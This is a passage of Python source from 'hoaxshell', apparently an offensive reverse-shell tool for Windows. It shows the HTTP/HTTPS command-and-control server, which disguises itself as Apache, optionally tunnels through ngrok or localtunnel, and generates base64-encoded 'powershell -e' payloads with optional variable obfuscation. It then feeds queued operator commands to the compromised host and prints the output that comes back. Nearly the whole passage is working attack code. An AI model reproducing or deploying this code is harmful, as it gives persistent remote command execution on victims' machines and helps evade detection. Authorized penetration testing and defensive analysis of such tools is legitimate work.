rawpayload Print payload (raw). 178 | \r clear Clear screen. 179 | \r exit/quit/q Close session and exit. 180 | ''') 181 | 182 | 183 | 184 | def encodePayload(payload): 185 | enc_payload = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode() 186 | print(f'{PLOAD}{enc_payload}{END}') 187 | 188 | 189 | 190 | def is_valid_uuid(value): 191 | 192 | try: 193 | uuid.UUID(str(value)) 194 | return True 195 | 196 | except ValueError: 197 | return False 198 | 199 | 200 | 201 | def checkPulse(stop_event): 202 | 203 | while not stop_event.is_set(): 204 | 205 | timestamp = int(datetime.now().timestamp()) 206 | tlimit = frequency + 10 207 | 208 | if Hoaxshell.execution_verified and Hoaxshell.prompt_ready: 209 | if abs(Hoaxshell.last_received - timestamp) > tlimit: 210 | print(f'\r[{WARN}] Session has been idle for more than {tlimit} seconds. Shell probably died.') 211 | Hoaxshell.prompt_ready = True 212 | stop_event.set() 213 | 214 | else: 215 | Hoaxshell.last_received = timestamp 216 | 217 | sleep(5) 218 | 219 | 220 | # ------------------ Settings ------------------ # 221 | prompt = "hoaxshell > " 222 | quiet = True if args.quiet else False 223 | frequency = args.frequency if args.frequency else 0.8 224 | stop_event = Event() 225 | t_process = None 226 | 227 | 228 | def rst_prompt(force_rst = False, prompt = prompt, prefix = '\r'): 229 | 230 | if Hoaxshell.rst_promt_required or force_rst: 231 | sys.stdout.write(prefix + prompt + gnureadline.get_line_buffer()) 232 | Hoaxshell.rst_promt_required = False 233 | 234 | 235 | # -------------- Tunneling Server -------------- # 236 | class Tunneling: 237 | 238 | def __init__(self, port): 239 | 240 | '''Initialization of Tunnel Process''' 241 | 242 | localtunnel = ['lt', '-p', str(port), '-l', '127.0.0.1'] 243 | ngrok = ['ngrok', 'http', str(port), '--log', 'stdout'] 244 | 245 | if args.ngrok: 246 | self.__start(ngrok) 247 | elif args.localtunnel: 248 | self.__start(localtunnel) 249 | 250 | def __start(self, command): 251 | '''Start Tunneling Process''' 252 | try: 253 | self.process = Popen( 254 | command, 255 | stdin=PIPE, 256 | stdout=PIPE, 257 | stderr=PIPE) 258 | except FileNotFoundError: 259 | 260 | if args.localtunnel: 261 | 262 | exit_with_msg(f"Please install LocalTunnel using the instructions at https://localtunnel.me") 263 | 264 | elif args.ngrok: 265 | 266 | exit_with_msg(f"Please install Ngrok using the instructions at https://ngrok.com") 267 | 268 | def lt_address(self): 269 | '''LocalTunnel Address''' 270 | 271 | output = self.process.stdout.readline().decode("utf-8").strip() 272 | 273 | try: 274 | 275 | if output and "your url is" in output: 276 | return output.replace('your url is: https://', '') 277 | 278 | else: 279 | self.process.kill() 280 | exit_with_msg(f"{output}") 281 | except Exception as ex: 282 | exit_with_msg(ex) 283 | 284 | def ngrok_address(self): 285 | '''Ngrok Address''' 286 | 287 | try: 288 | #sleep(5) #wait until ngrok get start 289 | while True: 290 | output = self.process.stdout.readline().decode("utf-8").strip() 291 | 292 | if not output and self.process.poll() is not None: 293 | break 294 | 295 | elif 'url=' in output: 296 | #output = output.split('url=https://')[-1] 297 | output = url = re.compile(r".*url=(http|https):\/\/(.*)").findall(output)[0][1] 298 | return output 299 | 300 | except Exception as ex: 301 | self.process.terminate() 302 | exit_with_msg(ex) 303 | 304 | 305 | def terminate(self): 306 | 307 | self.process.kill() #Terminate running tunnel process 308 | print(f'\r[{WARN}] Tunnel terminated.') 309 | 310 | 311 | # -------------- Hoaxshell Server -------------- # 312 | class Hoaxshell(BaseHTTPRequestHandler): 313 | 314 | restored = False 315 | rst_promt_required = False 316 | prompt_ready = True 317 | command_pool = [] 318 | execution_verified = False 319 | last_received = '' 320 | verify = str(uuid.uuid4())[0:8] 321 | get_cmd = str(uuid.uuid4())[0:8] 322 | post_res = str(uuid.uuid4())[0:8] 323 | hid = str(uuid.uuid4()).split("-") 324 | header_id = f'X-{hid[0][0:4]}-{hid[1]}' if not args.Header else args.Header 325 | SESSIONID = '-'.join([verify, get_cmd, post_res]) 326 | server_version = 'Apache/2.4.1' if not args.server_version else args.server_version 327 | init_dir = None 328 | 329 | 330 | def cmd_output_interpreter(self, output, constraint_mode = False): 331 | 332 | global prompt 333 | 334 | try: 335 | 336 | if constraint_mode: 337 | output = output.decode('utf-8', 'ignore') 338 | 339 | else: 340 | bin_output = output.decode('utf-8').split(' ') 341 | to_b_numbers = [ int(n) for n in bin_output ] 342 | b_array = bytearray(to_b_numbers) 343 | output = b_array.decode('utf-8', 'ignore') 344 | 345 | tmp = output.rsplit("Path", 1) 346 | output = tmp[0] 347 | junk = True if re.search("Provider : Microsoft.PowerShell.Core", output) else False 348 | output = output.rsplit("Drive", 1)[0] if junk else output 349 | 350 | if Hoaxshell.init_dir == None: 351 | p = tmp[-1].strip().rsplit("\n")[-1] 352 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 353 | Hoaxshell.init_dir = p 354 | 355 | if not args.exec_outfile: 356 | p = tmp[-1].strip().rsplit("\n")[-1] 357 | p = p.replace(":", "", 1).strip() if p.count(":") > 1 else p 358 | 359 | else: 360 | p = Hoaxshell.init_dir 361 | 362 | prompt = f"PS {p} > " 363 | 364 | except UnicodeDecodeError: 365 | print(f'[{WARN}] Decoding data to UTF-8 failed. Printing raw data.') 366 | 367 | if isinstance(output, bytes): 368 | return str(output) 369 | 370 | else: 371 | output = output.strip() + '\n' if output.strip() != '' else output.strip() 372 | return output 373 | 374 | 375 | 376 | def do_GET(self): 377 | 378 | timestamp = int(datetime.now().timestamp()) 379 | Hoaxshell.last_received = timestamp 380 | 381 | if args.grab and not Hoaxshell.restored: 382 | if not args.Header: 383 | header_id = [header.replace("X-", "") for header in self.headers.keys() if re.match("X-[a-z0-9]{4}-[a-z0-9]{4}", header)] 384 | Hoaxshell.header_id = f'X-{header_id[0]}' 385 | else: 386 | Hoaxshell.header_id = args.Header 387 | 388 | session_id = self.headers.get(Hoaxshell.header_id) 389 | 390 | if len(session_id) == 26: 391 | h = session_id.split('-') 392 | Hoaxshell.verify = h[0] 393 | Hoaxshell.get_cmd = h[1] 394 | Hoaxshell.post_res = h[2] 395 | Hoaxshell.SESSIONID = session_id 396 | Hoaxshell.restored = True 397 | Hoaxshell.execution_verified = True 398 | session_check = Thread(target = checkPulse, args = (stop_event,)) 399 | session_check.daemon = True 400 | session_check.start() 401 | 402 | print(f'\r[{GREEN}Shell{END}] {BOLD}Session restored!{END}') 403 | Hoaxshell.rst_promt_required = True 404 | 405 | self.server_version = Hoaxshell.server_version 406 | self.sys_version = "" 407 | session_id = self.headers.get(Hoaxshell.header_id) 408 | legit = True if session_id == Hoaxshell.SESSIONID else False 409 | 410 | # Verify execution 411 | if self.path == f'/{Hoaxshell.verify}' and legit: 412 | 413 | self.send_response(200) 414 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 415 | self.send_header('Access-Control-Allow-Origin', '*') 416 | self.end_headers() 417 | self.wfile.write(bytes('OK', "utf-8")) 418 | Hoaxshell.execution_verified = True 419 | session_check = Thread(target = checkPulse, args = (stop_event,)) 420 | session_check.daemon = True 421 | session_check.start() 422 | print(f'\r[{GREEN}Shell{END}] {BOLD}Payload execution verified!{END}') 423 | print(f'\r[{GREEN}Shell{END}] {BOLD}Stabilizing command prompt...{END}', end = '\n\n') #end = '' 424 | print(f'\r[{IMPORTANT}] You can\'t change dir while utilizing --exec-outfile (-x) option. Your commands must include absolute paths to files, etc.') if args.exec_outfile else chill() 425 | Hoaxshell.prompt_ready = False 426 | Hoaxshell.command_pool.append(f"echo `r;pwd") 427 | Hoaxshell.rst_promt_required = True 428 | 429 | 430 | # Grab cmd 431 | elif self.path == f'/{Hoaxshell.get_cmd}' and legit and Hoaxshell.execution_verified: 432 | 433 | self.send_response(200) 434 | self.send_header('Content-type', 'text/javascript; charset=UTF-8') 435 | self.send_header('Access-Control-Allow-Origin', '*') 436 | self.end_headers() 437 | 438 | if len(Hoaxshell.command_pool): 439 | cmd = Hoaxshell.command_pool.pop(0) 440 | self.wfile.write(bytes(cmd, "utf-8")) 441 | 442 | else: 443 | self.wfile.write(bytes('None', "utf-8")) 444 | 445 | Hoaxshell.last_received = timestamp 446 | 447 | 448 | else: 449 | self.send_response(200) 450 | self.end_headers() 451 | self.wfile.write(b'Move on mate.') 452 | pass 453 | 454 | 455 | 456 | def do_POST(self): 457 | 458 | global prompt 459 | timestamp = int(datetime.now().timestamp()) 460 | Hoaxshell.last_received = timestamp 461 | self.server_version = Hoaxshell.server_version 462 | self.sys_version = "" 463 | session_id = self.headers.get(Hoaxshell.header_id) 464 | legit = True if session_id == Hoaxshell.SESSIONID else False 465 | 466 | # cmd output 467 | if self.path == f'/{Hoaxshell.post_res}' and legit and Hoaxshell.execution_verified: 468 | 469 | try: 470 | self.send_response(200) 471 | self.send_header('Access-Control-Allow-Origin', '*') 472 | self.send_header('Content-Type', 'text/plain') 473 | self.end_headers() 474 | self.wfile.write(b'OK') 475 | content_len = int(self.headers.get('Content-Length')) 476 | output = self.rfile.read(content_len) 477 | output = Hoaxshell.cmd_output_interpreter(self, output, constraint_mode = args.constraint_mode) 478 | 479 | if output: 480 | print(f'\r{GREEN}{output}{END}') 481 | 482 | 483 | except ConnectionResetError: 484 | print(f'[{FAILED}] There was an error reading the response, most likely because of the size (Content-Length: {self.headers.get("Content-Length")}). Try redirecting the command\'s output to a file and transfering it to your machine.') 485 | 486 | rst_prompt(prompt = prompt) 487 | Hoaxshell.prompt_ready = True 488 | 489 | else: 490 | self.send_response(200) 491 | self.end_headers() 492 | self.wfile.write(b'Move on mate.') 493 | pass 494 | 495 | 496 | 497 | def do_OPTIONS(self): 498 | 499 | self.server_version = Hoaxshell.server_version 500 | self.sys_version = "" 501 | self.send_response(200) 502 | self.send_header('Access-Control-Allow-Origin', self.headers["Origin"]) 503 | self.send_header('Vary', "Origin") 504 | self.send_header('Access-Control-Allow-Credentials', 'true') 505 | self.send_header('Access-Control-Allow-Headers', Hoaxshell.header_id) 506 | self.end_headers() 507 | self.wfile.write(b'OK') 508 | 509 | 510 | def log_message(self, format, *args): 511 | return 512 | 513 | 514 | def dropSession(): 515 | 516 | print(f'\r[{WARN}] Closing session elegantly...') 517 | 518 | if t_process: 519 | t_process.terminate() 520 | 521 | if not args.exec_outfile: 522 | Hoaxshell.command_pool.append('exit') 523 | else: 524 | Hoaxshell.command_pool.append(f'del {args.exec_outfile};exit') 525 | 526 | sleep(frequency + 2.0) 527 | print(f'[{WARN}] Session terminated.') 528 | stop_event.set() 529 | sys.exit(0) 530 | 531 | 532 | def terminate(): 533 | 534 | if Hoaxshell.execution_verified: 535 | Hoaxshell.dropSession() 536 | 537 | else: 538 | if t_process: 539 | t_process.terminate() 540 | print(f'\r[{WARN}] Session terminated.') 541 | stop_event.set() 542 | sys.exit(0) 543 | 544 | 545 | 546 | def main(): 547 | 548 | try: 549 | chill() if quiet else print_banner() 550 | cwd = path.dirname(path.abspath(__file__)) 551 | 552 | # Update utility 553 | if args.update: 554 | 555 | updated = False 556 | 557 | try: 558 | 559 | print(f'[{INFO}] Pulling changes from the master branch...') 560 | u = check_output(f'cd {cwd}&&git pull https://github.com/t3l3machus/hoaxshell main', shell=True).decode('utf-8') 561 | 562 | if re.search('Updating', u): 563 | print(f'[{INFO}] Update completed! Please, restart hoaxshell.') 564 | updated = True 565 | 566 | elif re.search('Already up to date', u): 567 | print(f'[{INFO}] Already running the latest version!') 568 | pass 569 | 570 | else: 571 | print(f'[{FAILED}] Something went wrong. Are you running hoaxshell from your local git repository?') 572 | print(f'[{DEBUG}] Consider running "git pull https://github.com/t3l3machus/hoaxshell main" inside the project\'s directory.') 573 | 574 | except: 575 | print(f'[{FAILED}] Update failed. Consider running "git pull https://github.com/t3l3machus/hoaxshell main" inside the project\'s directory.') 576 | 577 | if updated: 578 | sys.exit(0) 579 | 580 | # Provided options sanity check 581 | if not args.server_ip and args.update and len(sys.argv) == 2 and not (args.localtunnel or args.ngrok): 582 | sys.exit(0) 583 | 584 | if not args.server_ip and args.update and len(sys.argv) > 2 and not (args.localtunnel or args.ngrok): 585 | exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)') 586 | 587 | elif not args.server_ip and not args.update and not (args.localtunnel or args.ngrok): 588 | exit_with_msg('Local host ip or Tunnel not provided (use -s for IP / -lt or -ng for Tunneling)') 589 | 590 | else: 591 | if not args.trusted_domain and not (args.localtunnel or args.ngrok): 592 | # Check if provided ip is valid 593 | try: 594 | ip_object = ip_address(args.server_ip) 595 | 596 | except ValueError: 597 | exit_with_msg('IP address is not valid.') 598 | 599 | 600 | # Check provided header name for illegal chars 601 | if args.Header: 602 | valid = ascii_uppercase + ascii_lowercase + '-_' 603 | 604 | for char in args.Header: 605 | if char not in valid: 606 | exit_with_msg('Header name includes illegal characters.') 607 | 608 | 609 | # Check if http/https 610 | if ssl_support: 611 | server_port = int(args.port) if args.port else 443 612 | else: 613 | server_port = int(args.port) if args.port else 8080 614 | 615 | # Server IP 616 | server_ip = f'{args.server_ip}:{server_port}' 617 | 618 | # Tunneling 619 | global t_process 620 | tunneling = False 621 | 622 | if args.localtunnel or args.ngrok: 623 | tunneling = True 624 | t_process = Tunneling(server_port) #will start tunnel process accordingly 625 | 626 | if args.localtunnel: 627 | t_server = t_process.lt_address() 628 | 629 | elif args.ngrok: 630 | t_server = t_process.ngrok_address() 631 | 632 | if not t_server: 633 | exit_with_msg('Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.') 634 | 635 | # Start http server 636 | try: 637 | httpd = HTTPServer(('0.0.0.0', server_port), Hoaxshell) 638 | 639 | except OSError: 640 | exit(f'\n[{FAILED}] - {BOLD}Port {server_port} seems to already be in use.{END}\n') 641 | 642 | if ssl_support: 643 | httpd.socket = ssl.wrap_socket ( 644 | httpd.socket, 645 | keyfile = args.keyfile , 646 | certfile = args.certfile , 647 | server_side = True, 648 | ssl_version=ssl.PROTOCOL_TLS 649 | ) 650 | 651 | 652 | port = f':{server_port}' if server_port != 443 else '' 653 | 654 | Hoaxshell_server = Thread(target = httpd.serve_forever, args = ()) 655 | Hoaxshell_server.daemon = True 656 | Hoaxshell_server.start() 657 | 658 | 659 | # Generate payload 660 | if not args.grab: 661 | print(f'[{INFO}] Generating reverse shell payload...') 662 | 663 | if args.localtunnel: 664 | source = open(f'{cwd}/payload_templates/https_payload_localtunnel.ps1', 665 | 'r') if not args.exec_outfile else open('./payload_templates/https_payload_localtunnel_outfile.ps1', 'r') 666 | 667 | elif args.ngrok: 668 | source = open(f'{cwd}/payload_templates/https_payload_ngrok.ps1', 669 | 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_ngrok_outfile.ps1', 'r') 670 | 671 | elif not ssl_support: 672 | source = open(f'{cwd}/payload_templates/http_payload.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/http_payload_outfile.ps1', 'r') 673 | 674 | elif ssl_support and args.trusted_domain: 675 | source = open(f'{cwd}/payload_templates/https_payload_trusted.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_trusted_outfile.ps1', 'r') 676 | 677 | elif ssl_support and not args.trusted_domain: 678 | source = open(f'{cwd}/payload_templates/https_payload.ps1', 'r') if not args.exec_outfile else open(f'{cwd}/payload_templates/https_payload_outfile.ps1', 'r') 679 | 680 | payload = source.read().strip() 681 | source.close() 682 | 683 | payload = payload.replace('*SERVERIP*', (t_server if (args.localtunnel or args.ngrok) else server_ip)).replace('*SESSIONID*', Hoaxshell.SESSIONID).replace('*FREQ*', str( 684 | frequency)).replace('*VERIFY*', Hoaxshell.verify).replace('*GETCMD*', Hoaxshell.get_cmd).replace('*POSTRES*', Hoaxshell.post_res).replace('*HOAXID*', Hoaxshell.header_id) 685 | 686 | if args.invoke_restmethod: 687 | payload = payload.replace("Invoke-WebRequest", "Invoke-RestMethod").replace(".Content", "") 688 | 689 | if args.exec_outfile: 690 | payload = payload.replace("*OUTFILE*", args.exec_outfile) 691 | 692 | if args.constraint_mode: 693 | payload = payload.replace("([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')", "($e+$r)") 694 | 695 | if args.obfuscate: 696 | 697 | for var in ['$s', '$i', '$p', '$v']: 698 | 699 | _max = randint(1,5) 700 | obf = str(uuid.uuid4())[0:_max] 701 | 702 | payload = payload.replace(var, f'${obf}') 703 | 704 | 705 | encodePayload(payload) if not args.raw_payload else print(f'{PLOAD}{payload}{END}') 706 | 707 | print(f'[{INFO}] Tunneling [{BOLD}{ORANGE}ON{END}]') if tunneling else chill() 708 | 709 | if tunneling: 710 | print(f'[{INFO}] Server Address: {BOLD}{BLUE}{t_server}{END}') 711 | 712 | print(f'[{INFO}] Type "help" to get a list of the available prompt commands.') 713 | print(f'[{INFO}] Https Server started on port {server_port}.') if ssl_support else print(f'[{INFO}] Http Server started on port {server_port}.') 714 | print(f'[{IMPORTANT}] {BOLD}Awaiting payload execution to initiate shell session...{END}') 715 | 716 | else: 717 | print(f'\r[{IMPORTANT}] Attempting to restore session. Listening for hoaxshell traffic...') 718 | 719 | 720 | # Command prompt 721 | while True: 722 | 723 | if Hoaxshell.prompt_ready: 724 | 725 | user_input = input(prompt).strip() 726 | 727 | if user_input.lower() == 'help': 728 | promptHelpMsg() 729 | 730 | elif user_input.lower() in ['clear']: 731 | system('clear') 732 | 733 | elif user_input.lower() in ['payload']: 734 | encodePayload(payload) 735 | 736 | elif user_input.lower() in ['rawpayload']: 737 | print(f'{PLOAD}{payload}{END}') 738 | 739 | elif user_input.lower() in ['exit', 'quit', 'q']: 740 | Hoaxshell.terminate() 741 | 742 | elif user_input == '': 743 | rst_prompt(force_rst = True, prompt = '\r') 744 | 745 | else: 746 | 747 | if Hoaxshell.execution_verified and not Hoaxshell.command_pool: 748 | 749 | if user_input == "pwd": user_input = "split-path $pwd'\\0x00'" 750 | 751 | Hoaxshell.command_pool.append(user_input + f";pwd") 752 | Hoaxshell.prompt_ready = False 753 | 754 | elif Hoaxshell.execution_verified and Hoaxshell.command_pool: 755 | pass 756 | 757 | else: 758 | print(f'\r[{INFO}] No active session.') 759 | # ~ else: 760 | # ~ sleep(0.5) 761 | 762 | 763 | except KeyboardInterrupt: 764 | Hoaxshell.terminate() 765 | 766 | 767 | if __name__ == '__main__': 768 | main() 769 | --------------------------------------------------------------------------------